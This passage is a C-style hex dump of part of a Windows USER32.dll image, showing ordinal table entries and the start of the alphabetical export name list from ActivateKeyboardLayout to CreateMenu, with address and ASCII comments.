"\xB4\x83\x00\x00\xBF\x83\x00\x00\xC9\x83\x00\x00\xD9\x83\x00\x00" //........É...Ù... /* 7E4166A0 */ "\xEF\x83\x00\x00\x02\x84\x00\x00\x13\x84\x00\x00\x1F\x84\x00\x00" //ï............... /* 7E4166C0 */ "\x38\x84\x00\x00\x41\x84\x00\x00\x4A\x84\x00\x00\x57\x84\x00\x00" //8...A...J...W... /* 7E4166E0 */ "\x67\x84\x00\x00\x73\x84\x00\x00\x7F\x84\x00\x00\x89\x84\x00\x00" //g...s........... /* 7E416700 */ "\x93\x84\x00\x00\x9E\x84\x00\x00\x00\x00\x01\x00\x02\x00\x03\x00" //................ /* 7E416720 */ "\x04\x00\x05\x00\x06\x00\x07\x00\x08\x00\x09\x00\x0A\x00\x0B\x00" //................ /* 7E416740 */ "\x0C\x00\x0D\x00\x0E\x00\x0F\x00\x10\x00\x11\x00\x12\x00\x13\x00" //................ /* 7E416760 */ "\x14\x00\x15\x00\x16\x00\x17\x00\x18\x00\x19\x00\x1A\x00\x1B\x00" //................ /* 7E416780 */ "\x1C\x00\x1D\x00\x1E\x00\x1F\x00\x20\x00\x21\x00\x22\x00\x23\x00" //..........!.".#. /* 7E4167A0 */ "\x24\x00\x25\x00\x26\x00\x27\x00\x28\x00\x29\x00\x2A\x00\x2B\x00" //$.%.&.'.(.).*.+. /* 7E4167C0 */ "\x2C\x00\x2D\x00\x2E\x00\x2F\x00\x30\x00\x31\x00\x32\x00\x33\x00" //,.-.../.0.1.2.3. /* 7E4167E0 */ "\x34\x00\x35\x00\x36\x00\x37\x00\x38\x00\x39\x00\x3A\x00\x3B\x00" //4.5.6.7.8.9.:.;. /* 7E416800 */ "\x3C\x00\x3D\x00\x3E\x00\x3F\x00\x40\x00\x41\x00\x42\x00\x43\x00" //<.=.>.?.@.A.B.C. /* 7E416820 */ "\x44\x00\x45\x00\x46\x00\x47\x00\x48\x00\x49\x00\x4A\x00\x4B\x00" //D.E.F.G.H.I.J.K. /* 7E416840 */ "\x4C\x00\x4D\x00\x4E\x00\x4F\x00\x50\x00\x51\x00\x52\x00\x53\x00" //L.M.N.O.P.Q.R.S. /* 7E416860 */ "\x54\x00\x55\x00\x56\x00\x57\x00\x58\x00\x59\x00\x5A\x00\x5B\x00" //T.U.V.W.X.Y.Z.[. /* 7E416880 */ "\x5C\x00\x5D\x00\x5E\x00\x5F\x00\x60\x00\x61\x00\x62\x00\x63\x00" //\.].^._.`.a.b.c. /* 7E4168A0 */ "\x64\x00\x65\x00\x66\x00\x67\x00\x68\x00\x69\x00\x6A\x00\x6B\x00" //d.e.f.g.h.i.j.k. /* 7E4168C0 */ "\x6C\x00\x6D\x00\x6E\x00\x6F\x00\x70\x00\x71\x00\x72\x00\x73\x00" //l.m.n.o.p.q.r.s. /* 7E4168E0 */ "\x74\x00\x75\x00\x76\x00\x77\x00\x78\x00\x79\x00\x7A\x00\x7B\x00" //t.u.v.w.x.y.z.{. /* 7E416900 */ "\x7C\x00\x7D\x00\x7E\x00\x7F\x00\x80\x00\x81\x00\x82\x00\x83\x00" //|.}.~........... /* 7E416920 */ "\x84\x00\x85\x00\x86\x00\x87\x00\x88\x00\x89\x00\x8A\x00\x8B\x00" //................ /* 7E416940 */ "\x8C\x00\x8D\x00\x8E\x00\x8F\x00\x90\x00\x91\x00\x92\x00\x93\x00" //................ /* 7E416960 */ "\x94\x00\x95\x00\x96\x00\x97\x00\x98\x00\x99\x00\x9A\x00\x9B\x00" //................ /* 7E416980 */ "\x9C\x00\x9D\x00\x9E\x00\x9F\x00\xA0\x00\xA1\x00\xA2\x00\xA3\x00" //................ /* 7E4169A0 */ "\xA4\x00\xA5\x00\xA6\x00\xA7\x00\xA8\x00\xA9\x00\xAA\x00\xAB\x00" //................ /* 7E4169C0 */ "\xAC\x00\xAD\x00\xAE\x00\xAF\x00\xB0\x00\xB1\x00\xB2\x00\xB3\x00" //................ /* 7E4169E0 */ "\xB4\x00\xB5\x00\xB6\x00\xB7\x00\xB8\x00\xB9\x00\xBA\x00\xBB\x00" //................ /* 7E416A00 */ "\xBC\x00\xBD\x00\xBE\x00\xBF\x00\xC0\x00\xC1\x00\xC2\x00\xC3\x00" //........À.Á.Â.Ã. /* 7E416A20 */ "\xC4\x00\xC5\x00\xC6\x00\xC7\x00\xC8\x00\xC9\x00\xCA\x00\xCB\x00" //Ä.Å.Æ.Ç.È.É.Ê.Ë. /* 7E416A40 */ "\xCC\x00\xCD\x00\xCE\x00\xCF\x00\xD0\x00\xD1\x00\xD2\x00\xD3\x00" //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó. /* 7E416A60 */ "\xD4\x00\xD5\x00\xD6\x00\xD7\x00\xD8\x00\xD9\x00\xDA\x00\xDB\x00" //Ô.Õ.Ö.×.Ø.Ù.Ú.Û. /* 7E416A80 */ "\xDC\x00\xDD\x00\xDE\x00\xDF\x00\xE0\x00\xE1\x00\xE2\x00\xE3\x00" //Ü.Ý.Þ.ß.à.á.â.ã. /* 7E416AA0 */ "\xE4\x00\xE5\x00\xE6\x00\xE7\x00\xE8\x00\xE9\x00\xEA\x00\xEB\x00" //ä.å.æ.ç.è.é.ê.ë. /* 7E416AC0 */ "\xEC\x00\xED\x00\xEE\x00\xEF\x00\xF1\x00\xF0\x00\xF2\x00\xF3\x00" //ì.í.î.ï.ñ.ð.ò.ó. /* 7E416AE0 */ "\xF4\x00\xF5\x00\xF6\x00\xF7\x00\xF8\x00\xF9\x00\xFA\x00\xFB\x00" //ô.õ.ö.÷.ø.ù.ú.û. /* 7E416B00 */ "\xFC\x00\xFD\x00\xFE\x00\xFF\x00\x00\x01\x01\x01\x02\x01\x03\x01" //ü.ý.þ.ÿ......... /* 7E416B20 */ "\x04\x01\x05\x01\x06\x01\x07\x01\x08\x01\x09\x01\x0A\x01\x0B\x01" //................ /* 7E416B40 */ "\x0C\x01\x0D\x01\x0E\x01\x0F\x01\x10\x01\x11\x01\x12\x01\x13\x01" //................ /* 7E416B60 */ "\x14\x01\x15\x01\x16\x01\x17\x01\x18\x01\x19\x01\x1A\x01\x1B\x01" //................ /* 7E416B80 */ "\x1C\x01\x1D\x01\x1E\x01\x1F\x01\x20\x01\x21\x01\x22\x01\x23\x01" //..........!.".#. /* 7E416BA0 */ "\x24\x01\x25\x01\x26\x01\x27\x01\x28\x01\x29\x01\x2A\x01\x2B\x01" //$.%.&.'.(.).*.+. /* 7E416BC0 */ "\x2C\x01\x2D\x01\x2E\x01\x2F\x01\x30\x01\x31\x01\x32\x01\x33\x01" //,.-.../.0.1.2.3. /* 7E416BE0 */ "\x34\x01\x35\x01\x36\x01\x37\x01\x38\x01\x39\x01\x3A\x01\x3B\x01" //4.5.6.7.8.9.:.;. /* 7E416C00 */ "\x3C\x01\x3D\x01\x3E\x01\x3F\x01\x40\x01\x41\x01\x42\x01\x43\x01" //<.=.>.?.@.A.B.C. /* 7E416C20 */ "\x44\x01\x45\x01\x46\x01\x47\x01\x48\x01\x49\x01\x4A\x01\x4B\x01" //D.E.F.G.H.I.J.K. /* 7E416C40 */ "\x4C\x01\x4D\x01\x4E\x01\x4F\x01\x50\x01\x51\x01\x52\x01\x53\x01" //L.M.N.O.P.Q.R.S. /* 7E416C60 */ "\x54\x01\x55\x01\x56\x01\x57\x01\x58\x01\x59\x01\x5A\x01\x5B\x01" //T.U.V.W.X.Y.Z.[. /* 7E416C80 */ "\x5C\x01\x5D\x01\x5E\x01\x5F\x01\x60\x01\x61\x01\x62\x01\x63\x01" //\.].^._.`.a.b.c. /* 7E416CA0 */ "\x64\x01\x65\x01\x66\x01\x67\x01\x68\x01\x69\x01\x6A\x01\x6B\x01" //d.e.f.g.h.i.j.k. /* 7E416CC0 */ "\x6C\x01\x6D\x01\x6E\x01\x6F\x01\x70\x01\x71\x01\x72\x01\x73\x01" //l.m.n.o.p.q.r.s. /* 7E416CE0 */ "\x74\x01\x75\x01\x76\x01\x77\x01\x78\x01\x79\x01\x7A\x01\x7B\x01" //t.u.v.w.x.y.z.{. /* 7E416D00 */ "\x7C\x01\x7D\x01\x7E\x01\x7F\x01\x80\x01\x81\x01\x82\x01\x83\x01" //|.}.~........... /* 7E416D20 */ "\x84\x01\x85\x01\x86\x01\x87\x01\x88\x01\x89\x01\x8A\x01\x8B\x01" //................ /* 7E416D40 */ "\x8C\x01\x8D\x01\x8E\x01\x8F\x01\x90\x01\x91\x01\x92\x01\x93\x01" //................ /* 7E416D60 */ "\x94\x01\x95\x01\x96\x01\x97\x01\x98\x01\x99\x01\x9A\x01\x9B\x01" //................ /* 7E416D80 */ "\x9C\x01\x9D\x01\x9E\x01\x9F\x01\xA0\x01\xA1\x01\xA2\x01\xA3\x01" //................ /* 7E416DA0 */ "\xA4\x01\xA5\x01\xA6\x01\xA7\x01\xA8\x01\xA9\x01\xAA\x01\xAB\x01" //................ /* 7E416DC0 */ "\xAC\x01\xAD\x01\xAE\x01\xAF\x01\xB0\x01\xB1\x01\xB2\x01\xB3\x01" //................ /* 7E416DE0 */ "\xB4\x01\xB5\x01\xB6\x01\xB7\x01\xB8\x01\xB9\x01\xBA\x01\xBB\x01" //................ /* 7E416E00 */ "\xBC\x01\xBD\x01\xBE\x01\xBF\x01\xC0\x01\xC1\x01\xC2\x01\xC3\x01" //........À.Á.Â.Ã. /* 7E416E20 */ "\xC4\x01\xC5\x01\xC6\x01\xC7\x01\xC8\x01\xC9\x01\xCA\x01\xCB\x01" //Ä.Å.Æ.Ç.È.É.Ê.Ë. /* 7E416E40 */ "\xCC\x01\xCD\x01\xCE\x01\xCF\x01\xD0\x01\xD1\x01\xD2\x01\xD3\x01" //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó. /* 7E416E60 */ "\xD4\x01\xD5\x01\xD6\x01\xD7\x01\xD8\x01\xD9\x01\xDA\x01\xDB\x01" //Ô.Õ.Ö.×.Ø.Ù.Ú.Û. /* 7E416E80 */ "\xDC\x01\xDD\x01\xDE\x01\xDF\x01\xE0\x01\xE1\x01\xE2\x01\xE3\x01" //Ü.Ý.Þ.ß.à.á.â.ã. /* 7E416EA0 */ "\xE4\x01\xE5\x01\xE6\x01\xE7\x01\xE8\x01\xE9\x01\xEA\x01\xEB\x01" //ä.å.æ.ç.è.é.ê.ë. /* 7E416EC0 */ "\xEC\x01\xED\x01\xEE\x01\xEF\x01\xF0\x01\xF1\x01\xF2\x01\xF3\x01" //ì.í.î.ï.ð.ñ.ò.ó. /* 7E416EE0 */ "\xF4\x01\xF5\x01\xF6\x01\xF7\x01\xF8\x01\xF9\x01\xFA\x01\xFB\x01" //ô.õ.ö.÷.ø.ù.ú.û. /* 7E416F00 */ "\xFC\x01\xFD\x01\xFE\x01\xFF\x01\x00\x02\x01\x02\x02\x02\x03\x02" //ü.ý.þ.ÿ......... /* 7E416F20 */ "\x04\x02\x05\x02\x06\x02\x07\x02\x08\x02\x09\x02\x0A\x02\x0B\x02" //................ /* 7E416F40 */ "\x0C\x02\x0D\x02\x0E\x02\x0F\x02\x10\x02\x11\x02\x12\x02\x13\x02" //................ /* 7E416F60 */ "\x14\x02\x15\x02\x16\x02\x17\x02\x18\x02\x19\x02\x1A\x02\x1B\x02" //................ /* 7E416F80 */ "\x1C\x02\x1D\x02\x1E\x02\x1F\x02\x20\x02\x21\x02\x22\x02\x23\x02" //..........!.".#. /* 7E416FA0 */ "\x24\x02\x25\x02\x26\x02\x27\x02\x28\x02\x29\x02\x2A\x02\x2B\x02" //$.%.&.'.(.).*.+. /* 7E416FC0 */ "\x2C\x02\x2D\x02\x2E\x02\x2F\x02\x30\x02\x31\x02\x32\x02\x33\x02" //,.-.../.0.1.2.3. /* 7E416FE0 */ "\x34\x02\x35\x02\x36\x02\x37\x02\x38\x02\x39\x02\x3A\x02\x3B\x02" //4.5.6.7.8.9.:.;. /* 7E417000 */ "\x3C\x02\x3D\x02\x3E\x02\x3F\x02\x40\x02\x41\x02\x42\x02\x43\x02" //<.=.>.?.@.A.B.C. /* 7E417020 */ "\x44\x02\x45\x02\x46\x02\x47\x02\x48\x02\x49\x02\x4A\x02\x4B\x02" //D.E.F.G.H.I.J.K. /* 7E417040 */ "\x4C\x02\x4D\x02\x4E\x02\x4F\x02\x50\x02\x51\x02\x52\x02\x53\x02" //L.M.N.O.P.Q.R.S. /* 7E417060 */ "\x54\x02\x55\x02\x56\x02\x57\x02\x58\x02\x59\x02\x5A\x02\x5B\x02" //T.U.V.W.X.Y.Z.[. /* 7E417080 */ "\x5C\x02\x5D\x02\x5E\x02\x5F\x02\x60\x02\x61\x02\x62\x02\x63\x02" //\.].^._.`.a.b.c. /* 7E4170A0 */ "\x64\x02\x65\x02\x66\x02\x67\x02\x68\x02\x69\x02\x6A\x02\x6B\x02" //d.e.f.g.h.i.j.k. /* 7E4170C0 */ "\x6C\x02\x6D\x02\x6E\x02\x6F\x02\x70\x02\x71\x02\x72\x02\x73\x02" //l.m.n.o.p.q.r.s. /* 7E4170E0 */ "\x74\x02\x75\x02\x76\x02\x77\x02\x78\x02\x79\x02\x7A\x02\x7B\x02" //t.u.v.w.x.y.z.{. /* 7E417100 */ "\x7C\x02\x7D\x02\x7E\x02\x7F\x02\x80\x02\x81\x02\x82\x02\x83\x02" //|.}.~........... /* 7E417120 */ "\x84\x02\x85\x02\x86\x02\x87\x02\x88\x02\x89\x02\x8A\x02\x8B\x02" //................ /* 7E417140 */ "\x8C\x02\x8D\x02\x8E\x02\x8F\x02\x90\x02\x91\x02\x92\x02\x93\x02" //................ /* 7E417160 */ "\x94\x02\x95\x02\x96\x02\x97\x02\x98\x02\x99\x02\x9A\x02\x9B\x02" //................ /* 7E417180 */ "\x9C\x02\x9D\x02\x9E\x02\x9F\x02\xA0\x02\xA1\x02\xA2\x02\xA3\x02" //................ /* 7E4171A0 */ "\xA4\x02\xA5\x02\xA6\x02\xA7\x02\xA8\x02\xA9\x02\xAA\x02\xAB\x02" //................ /* 7E4171C0 */ "\xAC\x02\xAD\x02\xAE\x02\xAF\x02\xB0\x02\xB1\x02\xB2\x02\xB3\x02" //................ /* 7E4171E0 */ "\xB4\x02\xB5\x02\xB6\x02\xB7\x02\xB8\x02\xB9\x02\xBA\x02\xBB\x02" //................ /* 7E417200 */ "\xBC\x02\xBD\x02\xBE\x02\xBF\x02\xC0\x02\xC1\x02\xC2\x02\xC3\x02" //........À.Á.Â.Ã. /* 7E417220 */ "\xC4\x02\xC5\x02\xC6\x02\xC7\x02\xC8\x02\xC9\x02\xCA\x02\xCB\x02" //Ä.Å.Æ.Ç.È.É.Ê.Ë. /* 7E417240 */ "\xCC\x02\xCD\x02\xCE\x02\xCF\x02\xD0\x02\xD1\x02\xD2\x02\xD3\x02" //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó. /* 7E417260 */ "\xD4\x02\xD5\x02\xD6\x02\xD7\x02\xD8\x02\xD9\x02\xDA\x02\xDB\x02" //Ô.Õ.Ö.×.Ø.Ù.Ú.Û. /* 7E417280 */ "\x55\x53\x45\x52\x33\x32\x2E\x64\x6C\x6C\x00\x41\x63\x74\x69\x76" //USER32.dll.Activ /* 7E4172A0 */ "\x61\x74\x65\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61\x79\x6F\x75" //ateKeyboardLayou /* 7E4172C0 */ "\x74\x00\x41\x64\x6A\x75\x73\x74\x57\x69\x6E\x64\x6F\x77\x52\x65" //t.AdjustWindowRe /* 7E4172E0 */ "\x63\x74\x00\x41\x64\x6A\x75\x73\x74\x57\x69\x6E\x64\x6F\x77\x52" //ct.AdjustWindowR /* 7E417300 */ "\x65\x63\x74\x45\x78\x00\x41\x6C\x69\x67\x6E\x52\x65\x63\x74\x73" //ectEx.AlignRects /* 7E417320 */ "\x00\x41\x6C\x6C\x6F\x77\x46\x6F\x72\x65\x67\x72\x6F\x75\x6E\x64" //.AllowForeground /* 7E417340 */ "\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E\x00\x41\x6C\x6C\x6F\x77" //Activation.Allow /* 7E417360 */ "\x53\x65\x74\x46\x6F\x72\x65\x67\x72\x6F\x75\x6E\x64\x57\x69\x6E" //SetForegroundWin /* 7E417380 */ "\x64\x6F\x77\x00\x41\x6E\x69\x6D\x61\x74\x65\x57\x69\x6E\x64\x6F" //dow.AnimateWindo /* 7E4173A0 */ "\x77\x00\x41\x6E\x79\x50\x6F\x70\x75\x70\x00\x41\x70\x70\x65\x6E" //w.AnyPopup.Appen /* 7E4173C0 */ "\x64\x4D\x65\x6E\x75\x41\x00\x41\x70\x70\x65\x6E\x64\x4D\x65\x6E" //dMenuA.AppendMen /* 7E4173E0 */ "\x75\x57\x00\x41\x72\x72\x61\x6E\x67\x65\x49\x63\x6F\x6E\x69\x63" //uW.ArrangeIconic /* 7E417400 */ "\x57\x69\x6E\x64\x6F\x77\x73\x00\x41\x74\x74\x61\x63\x68\x54\x68" //Windows.AttachTh /* 7E417420 */ "\x72\x65\x61\x64\x49\x6E\x70\x75\x74\x00\x42\x65\x67\x69\x6E\x44" //readInput.BeginD /* 7E417440 */ "\x65\x66\x65\x72\x57\x69\x6E\x64\x6F\x77\x50\x6F\x73\x00\x42\x65" //eferWindowPos.Be /* 7E417460 */ "\x67\x69\x6E\x50\x61\x69\x6E\x74\x00\x42\x6C\x6F\x63\x6B\x49\x6E" //ginPaint.BlockIn /* 7E417480 */ "\x70\x75\x74\x00\x42\x72\x69\x6E\x67\x57\x69\x6E\x64\x6F\x77\x54" //put.BringWindowT /* 7E4174A0 */ "\x6F\x54\x6F\x70\x00\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x53\x79" //oTop.BroadcastSy /* 7E4174C0 */ "\x73\x74\x65\x6D\x4D\x65\x73\x73\x61\x67\x65\x00\x42\x72\x6F\x61" //stemMessage.Broa /* 7E4174E0 */ "\x64\x63\x61\x73\x74\x53\x79\x73\x74\x65\x6D\x4D\x65\x73\x73\x61" //dcastSystemMessa /* 7E417500 */ "\x67\x65\x41\x00\x42\x72\x6F\x61\x64\x63\x61\x73\x74\x53\x79\x73" //geA.BroadcastSys /* 7E417520 */ "\x74\x65\x6D\x4D\x65\x73\x73\x61\x67\x65\x45\x78\x41\x00\x42\x72" //temMessageExA.Br /* 7E417540 */ "\x6F\x61\x64\x63\x61\x73\x74\x53\x79\x73\x74\x65\x6D\x4D\x65\x73" //oadcastSystemMes /* 7E417560 */ "\x73\x61\x67\x65\x45\x78\x57\x00\x42\x72\x6F\x61\x64\x63\x61\x73" //sageExW.Broadcas /* 7E417580 */ "\x74\x53\x79\x73\x74\x65\x6D\x4D\x65\x73\x73\x61\x67\x65\x57\x00" //tSystemMessageW. /* 7E4175A0 */ "\x42\x75\x69\x6C\x64\x52\x65\x61\x73\x6F\x6E\x41\x72\x72\x61\x79" //BuildReasonArray /* 7E4175C0 */ "\x00\x43\x61\x6C\x63\x4D\x65\x6E\x75\x42\x61\x72\x00\x43\x61\x6C" //.CalcMenuBar.Cal /* 7E4175E0 */ "\x6C\x4D\x73\x67\x46\x69\x6C\x74\x65\x72\x00\x43\x61\x6C\x6C\x4D" //lMsgFilter.CallM /* 7E417600 */ "\x73\x67\x46\x69\x6C\x74\x65\x72\x41\x00\x43\x61\x6C\x6C\x4D\x73" //sgFilterA.CallMs /* 7E417620 */ "\x67\x46\x69\x6C\x74\x65\x72\x57\x00\x43\x61\x6C\x6C\x4E\x65\x78" //gFilterW.CallNex /* 7E417640 */ "\x74\x48\x6F\x6F\x6B\x45\x78\x00\x43\x61\x6C\x6C\x57\x69\x6E\x64" //tHookEx.CallWind /* 7E417660 */ "\x6F\x77\x50\x72\x6F\x63\x41\x00\x43\x61\x6C\x6C\x57\x69\x6E\x64" //owProcA.CallWind /* 7E417680 */ "\x6F\x77\x50\x72\x6F\x63\x57\x00\x43\x61\x73\x63\x61\x64\x65\x43" //owProcW.CascadeC /* 7E4176A0 */ "\x68\x69\x6C\x64\x57\x69\x6E\x64\x6F\x77\x73\x00\x43\x61\x73\x63" //hildWindows.Casc /* 7E4176C0 */ "\x61\x64\x65\x57\x69\x6E\x64\x6F\x77\x73\x00\x43\x68\x61\x6E\x67" //adeWindows.Chang /* 7E4176E0 */ "\x65\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x43\x68\x61\x69\x6E\x00" //eClipboardChain. /* 7E417700 */ "\x43\x68\x61\x6E\x67\x65\x44\x69\x73\x70\x6C\x61\x79\x53\x65\x74" //ChangeDisplaySet /* 7E417720 */ "\x74\x69\x6E\x67\x73\x41\x00\x43\x68\x61\x6E\x67\x65\x44\x69\x73" //tingsA.ChangeDis /* 7E417740 */ "\x70\x6C\x61\x79\x53\x65\x74\x74\x69\x6E\x67\x73\x45\x78\x41\x00" //playSettingsExA. /* 7E417760 */ "\x43\x68\x61\x6E\x67\x65\x44\x69\x73\x70\x6C\x61\x79\x53\x65\x74" //ChangeDisplaySet /* 7E417780 */ "\x74\x69\x6E\x67\x73\x45\x78\x57\x00\x43\x68\x61\x6E\x67\x65\x44" //tingsExW.ChangeD /* 7E4177A0 */ "\x69\x73\x70\x6C\x61\x79\x53\x65\x74\x74\x69\x6E\x67\x73\x57\x00" //isplaySettingsW. /* 7E4177C0 */ "\x43\x68\x61\x6E\x67\x65\x4D\x65\x6E\x75\x41\x00\x43\x68\x61\x6E" //ChangeMenuA.Chan /* 7E4177E0 */ "\x67\x65\x4D\x65\x6E\x75\x57\x00\x43\x68\x61\x72\x4C\x6F\x77\x65" //geMenuW.CharLowe /* 7E417800 */ "\x72\x41\x00\x43\x68\x61\x72\x4C\x6F\x77\x65\x72\x42\x75\x66\x66" //rA.CharLowerBuff /* 7E417820 */ "\x41\x00\x43\x68\x61\x72\x4C\x6F\x77\x65\x72\x42\x75\x66\x66\x57" //A.CharLowerBuffW /* 7E417840 */ "\x00\x43\x68\x61\x72\x4C\x6F\x77\x65\x72\x57\x00\x43\x68\x61\x72" //.CharLowerW.Char /* 7E417860 */ "\x4E\x65\x78\x74\x41\x00\x43\x68\x61\x72\x4E\x65\x78\x74\x45\x78" //NextA.CharNextEx /* 7E417880 */ "\x41\x00\x43\x68\x61\x72\x4E\x65\x78\x74\x57\x00\x43\x68\x61\x72" //A.CharNextW.Char /* 7E4178A0 */ "\x50\x72\x65\x76\x41\x00\x43\x68\x61\x72\x50\x72\x65\x76\x45\x78" //PrevA.CharPrevEx /* 7E4178C0 */ "\x41\x00\x43\x68\x61\x72\x50\x72\x65\x76\x57\x00\x43\x68\x61\x72" //A.CharPrevW.Char /* 7E4178E0 */ "\x54\x6F\x4F\x65\x6D\x41\x00\x43\x68\x61\x72\x54\x6F\x4F\x65\x6D" //ToOemA.CharToOem /* 7E417900 */ "\x42\x75\x66\x66\x41\x00\x43\x68\x61\x72\x54\x6F\x4F\x65\x6D\x42" //BuffA.CharToOemB /* 7E417920 */ "\x75\x66\x66\x57\x00\x43\x68\x61\x72\x54\x6F\x4F\x65\x6D\x57\x00" //uffW.CharToOemW. /* 7E417940 */ "\x43\x68\x61\x72\x55\x70\x70\x65\x72\x41\x00\x43\x68\x61\x72\x55" //CharUpperA.CharU /* 7E417960 */ "\x70\x70\x65\x72\x42\x75\x66\x66\x41\x00\x43\x68\x61\x72\x55\x70" //pperBuffA.CharUp /* 7E417980 */ "\x70\x65\x72\x42\x75\x66\x66\x57\x00\x43\x68\x61\x72\x55\x70\x70" //perBuffW.CharUpp /* 7E4179A0 */ "\x65\x72\x57\x00\x43\x68\x65\x63\x6B\x44\x6C\x67\x42\x75\x74\x74" //erW.CheckDlgButt /* 7E4179C0 */ "\x6F\x6E\x00\x43\x68\x65\x63\x6B\x4D\x65\x6E\x75\x49\x74\x65\x6D" //on.CheckMenuItem /* 7E4179E0 */ "\x00\x43\x68\x65\x63\x6B\x4D\x65\x6E\x75\x52\x61\x64\x69\x6F\x49" //.CheckMenuRadioI /* 7E417A00 */ "\x74\x65\x6D\x00\x43\x68\x65\x63\x6B\x52\x61\x64\x69\x6F\x42\x75" //tem.CheckRadioBu /* 7E417A20 */ "\x74\x74\x6F\x6E\x00\x43\x68\x69\x6C\x64\x57\x69\x6E\x64\x6F\x77" //tton.ChildWindow /* 7E417A40 */ "\x46\x72\x6F\x6D\x50\x6F\x69\x6E\x74\x00\x43\x68\x69\x6C\x64\x57" //FromPoint.ChildW /* 7E417A60 */ "\x69\x6E\x64\x6F\x77\x46\x72\x6F\x6D\x50\x6F\x69\x6E\x74\x45\x78" //indowFromPointEx /* 7E417A80 */ "\x00\x43\x6C\x69\x49\x6D\x6D\x53\x65\x74\x48\x6F\x74\x4B\x65\x79" //.CliImmSetHotKey /* 7E417AA0 */ "\x00\x43\x6C\x69\x65\x6E\x74\x54\x68\x72\x65\x61\x64\x53\x65\x74" //.ClientThreadSet /* 7E417AC0 */ "\x75\x70\x00\x43\x6C\x69\x65\x6E\x74\x54\x6F\x53\x63\x72\x65\x65" //up.ClientToScree /* 7E417AE0 */ "\x6E\x00\x43\x6C\x69\x70\x43\x75\x72\x73\x6F\x72\x00\x43\x6C\x6F" //n.ClipCursor.Clo /* 7E417B00 */ "\x73\x65\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x00\x43\x6C\x6F\x73" //seClipboard.Clos /* 7E417B20 */ "\x65\x44\x65\x73\x6B\x74\x6F\x70\x00\x43\x6C\x6F\x73\x65\x57\x69" //eDesktop.CloseWi /* 7E417B40 */ "\x6E\x64\x6F\x77\x00\x43\x6C\x6F\x73\x65\x57\x69\x6E\x64\x6F\x77" //ndow.CloseWindow /* 7E417B60 */ "\x53\x74\x61\x74\x69\x6F\x6E\x00\x43\x6F\x70\x79\x41\x63\x63\x65" //Station.CopyAcce /* 7E417B80 */ "\x6C\x65\x72\x61\x74\x6F\x72\x54\x61\x62\x6C\x65\x41\x00\x43\x6F" //leratorTableA.Co /* 7E417BA0 */ "\x70\x79\x41\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x54\x61\x62" //pyAcceleratorTab /* 7E417BC0 */ "\x6C\x65\x57\x00\x43\x6F\x70\x79\x49\x63\x6F\x6E\x00\x43\x6F\x70" //leW.CopyIcon.Cop /* 7E417BE0 */ "\x79\x49\x6D\x61\x67\x65\x00\x43\x6F\x70\x79\x52\x65\x63\x74\x00" //yImage.CopyRect. /* 7E417C00 */ "\x43\x6F\x75\x6E\x74\x43\x6C\x69\x70\x62\x6F\x61\x72\x64\x46\x6F" //CountClipboardFo /* 7E417C20 */ "\x72\x6D\x61\x74\x73\x00\x43\x72\x65\x61\x74\x65\x41\x63\x63\x65" //rmats.CreateAcce /* 7E417C40 */ "\x6C\x65\x72\x61\x74\x6F\x72\x54\x61\x62\x6C\x65\x41\x00\x43\x72" //leratorTableA.Cr /* 7E417C60 */ "\x65\x61\x74\x65\x41\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x54" //eateAcceleratorT /* 7E417C80 */ "\x61\x62\x6C\x65\x57\x00\x43\x72\x65\x61\x74\x65\x43\x61\x72\x65" //ableW.CreateCare /* 7E417CA0 */ "\x74\x00\x43\x72\x65\x61\x74\x65\x43\x75\x72\x73\x6F\x72\x00\x43" //t.CreateCursor.C /* 7E417CC0 */ "\x72\x65\x61\x74\x65\x44\x65\x73\x6B\x74\x6F\x70\x41\x00\x43\x72" //reateDesktopA.Cr /* 7E417CE0 */ "\x65\x61\x74\x65\x44\x65\x73\x6B\x74\x6F\x70\x57\x00\x43\x72\x65" //eateDesktopW.Cre /* 7E417D00 */ "\x61\x74\x65\x44\x69\x61\x6C\x6F\x67\x49\x6E\x64\x69\x72\x65\x63" //ateDialogIndirec /* 7E417D20 */ "\x74\x50\x61\x72\x61\x6D\x41\x00\x43\x72\x65\x61\x74\x65\x44\x69" //tParamA.CreateDi /* 7E417D40 */ "\x61\x6C\x6F\x67\x49\x6E\x64\x69\x72\x65\x63\x74\x50\x61\x72\x61" //alogIndirectPara /* 7E417D60 */ "\x6D\x41\x6F\x72\x57\x00\x43\x72\x65\x61\x74\x65\x44\x69\x61\x6C" //mAorW.CreateDial /* 7E417D80 */ "\x6F\x67\x49\x6E\x64\x69\x72\x65\x63\x74\x50\x61\x72\x61\x6D\x57" //ogIndirectParamW /* 7E417DA0 */ "\x00\x43\x72\x65\x61\x74\x65\x44\x69\x61\x6C\x6F\x67\x50\x61\x72" //.CreateDialogPar /* 7E417DC0 */ "\x61\x6D\x41\x00\x43\x72\x65\x61\x74\x65\x44\x69\x61\x6C\x6F\x67" //amA.CreateDialog /* 7E417DE0 */ "\x50\x61\x72\x61\x6D\x57\x00\x43\x72\x65\x61\x74\x65\x49\x63\x6F" //ParamW.CreateIco /* 7E417E00 */ "\x6E\x00\x43\x72\x65\x61\x74\x65\x49\x63\x6F\x6E\x46\x72\x6F\x6D" //n.CreateIconFrom /* 7E417E20 */ "\x52\x65\x73\x6F\x75\x72\x63\x65\x00\x43\x72\x65\x61\x74\x65\x49" //Resource.CreateI /* 7E417E40 */ "\x63\x6F\x6E\x46\x72\x6F\x6D\x52\x65\x73\x6F\x75\x72\x63\x65\x45" //conFromResourceE /* 7E417E60 */ "\x78\x00\x43\x72\x65\x61\x74\x65\x49\x63\x6F\x6E\x49\x6E\x64\x69" //x.CreateIconIndi /* 7E417E80 */ "\x72\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x4D\x44\x49\x57\x69" //rect.CreateMDIWi /* 7E417EA0 */ "\x6E\x64\x6F\x77\x41\x00\x43\x72\x65\x61\x74\x65\x4D\x44\x49\x57" //ndowA.CreateMDIW /* 7E417EC0 */ "\x69\x6E\x64\x6F\x77\x57\x00\x43\x72\x65\x61\x74\x65\x4D\x65\x6E" //indowW.CreateMen /* 7E417EE0 */ 